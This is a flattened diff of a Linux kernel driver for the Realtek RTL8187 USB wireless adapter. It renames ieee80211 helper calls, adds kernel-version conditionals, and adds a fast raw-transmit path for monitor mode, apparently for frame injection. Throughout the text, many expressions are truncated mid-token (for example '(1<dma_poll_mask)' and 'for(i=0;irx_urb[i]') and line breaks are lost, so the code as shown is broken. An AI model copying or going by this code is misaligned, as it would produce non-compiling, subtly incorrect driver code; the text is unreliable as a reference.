txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,8 +947,8 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ ((1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -939,14 +972,14 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -965,15 +998,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -981,19 +1014,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; +} + +inline u8 rtl8180_IsWirelessBMode(u16 rate) +{ + if( ((rate <= 110) && (rate != 60) && (rate != 90)) || (rate == 220) ) + return 1; + else return 0; } - +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) +#else +void rtl8187_rx_isr(struct urb *rx_urb) +#endif { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1134,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1148,19 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + { + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + { + morefrag = 1; + } + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1121,24 +1169,29 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->fasttx == 0) + { + spin_lock_irqsave(&priv->tx_lock,flags); + //DMESG("TX"); + if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + DMESG("Error: no TX slot "); + ieee80211_stop_queue_rtl7(priv->ieee80211); + } + rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, + ieeerate2rtlrate(rate)); + + priv->stats.txdatapkt++; + + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + ieee80211_stop_queue_rtl7(priv->ieee80211); + spin_unlock_irqrestore(&priv->tx_lock,flags); + } + else + { + rtl8180_tx_fast(dev, (u32*)skb->data, skb->len, ieeerate2rtlrate(rate)); + } + } #if 0 /* This is a rough attempt to TX a frame @@ -1148,12 +1201,12 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1163,9 +1216,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1178,7 +1231,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1187,7 +1240,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1195,40 +1248,44 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif void rtl8180_try_wake_queue(struct net_device *dev, int pri); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1239,6 +1296,15 @@ rtl8180_try_wake_queue(dev,LOW_PRIORITY); } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void rtl8187_lptx_isr_fast(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr_fast(struct urb *tx_urb) +#endif +{ + kfree(tx_urb->transfer_buffer); + usb_free_urb(tx_urb); +} void rtl8187_beacon_stop(struct net_device *dev) { @@ -1249,55 +1315,55 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1307,7 +1373,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1318,16 +1384,20 @@ return ; } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); - + } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_nptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else @@ -1339,10 +1409,10 @@ } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, short morefrag, short rate) { @@ -1352,12 +1422,12 @@ int pend ; int status; struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ + pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); + /* we are locked here so the two atomic_read and inc are executed without interleaves */ if( pend > MAX_TX_URB){ if(priority == NORM_PRIORITY) priv->stats.txnpdrop++; @@ -1365,52 +1435,38 @@ priv->stats.txlpdrop++; return -1; } - - + //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } - + memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} + if(morefrag) tx[0] |= (1<<17); tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1421,7 +1477,7 @@ printk("---------------\n"); #endif - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, @@ -1438,54 +1494,97 @@ } } - +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB (fast) + */ + +short rtl8180_tx_fast(struct net_device *dev, u32* txbuf, int len, short rate) +{ + u32 *tx; + int status; + struct urb *tx_urb; + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + urb_len = len + 4*3; + if((0 == urb_len%64)||(0 == urb_len%512)) { + urb_len += 1; + } + tx = kmalloc(urb_len, GFP_ATOMIC); + if(!tx) return -ENOMEM; + + tx_urb = usb_alloc_urb(0,GFP_ATOMIC); + + if(!tx_urb){ + kfree(tx); + return -ENOMEM; + } + + memcpy(tx+3,txbuf,len); + tx[0] = (len & 0xfff) + 0x8000; + tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ + tx[0] |= (rate << 24); + tx[1] = 0; + tx[2] = 2931; + + /* FIXME check what EP is for low/norm PRI */ + usb_fill_bulk_urb(tx_urb,priv->udev, + usb_sndbulkpipe(priv->udev, 2), tx, urb_len, rtl8187_lptx_isr_fast, dev); + status = usb_submit_urb(tx_urb, GFP_ATOMIC); + if (!status){ + return 0; + }else{ + return -1; + } +} + void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } - + return 0; - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1494,9 +1593,9 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } - + } @@ -1505,16 +1604,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1526,21 +1625,21 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1553,24 +1652,24 @@ short rtl8180_init(struct net_device *dev) { - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; - + u8 hw_version; + u8 config3; + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -1580,15 +1679,24 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + + priv->dev = dev; + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -1612,33 +1720,37 @@ // priv->stats.txbeaconerr=0; priv->stats.txlperr=0; priv->stats.txlpokint=0; - + priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; + priv->ieee80211->mode = IEEE_G|IEEE_B; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, (unsigned long)priv); - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -1655,51 +1767,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -1715,13 +1827,19 @@ #endif priv->enable_gpio0 = 0; - + + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -1757,8 +1875,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -1766,58 +1884,73 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - + dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + + priv->txpwr_max = 0; + for(i=1; i<15; i++) + { + if(priv->chtxpwr[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdm[i]; + priv->chtxpwr_orig[i] = priv->chtxpwr[i]; + priv->chtxpwr_ofdm_orig[i] = priv->chtxpwr_ofdm[i]; + } + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -1834,28 +1967,28 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -1869,16 +2002,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -1898,7 +2031,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -1988,60 +2121,60 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); write_nic_byte(dev,0x91,1); write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); - + rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); + + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2054,13 +2187,13 @@ write_nic_byte(dev, 0xff, 0x60); write_nic_word(dev,0x5e,0); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2077,8 +2210,8 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2091,41 +2224,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // 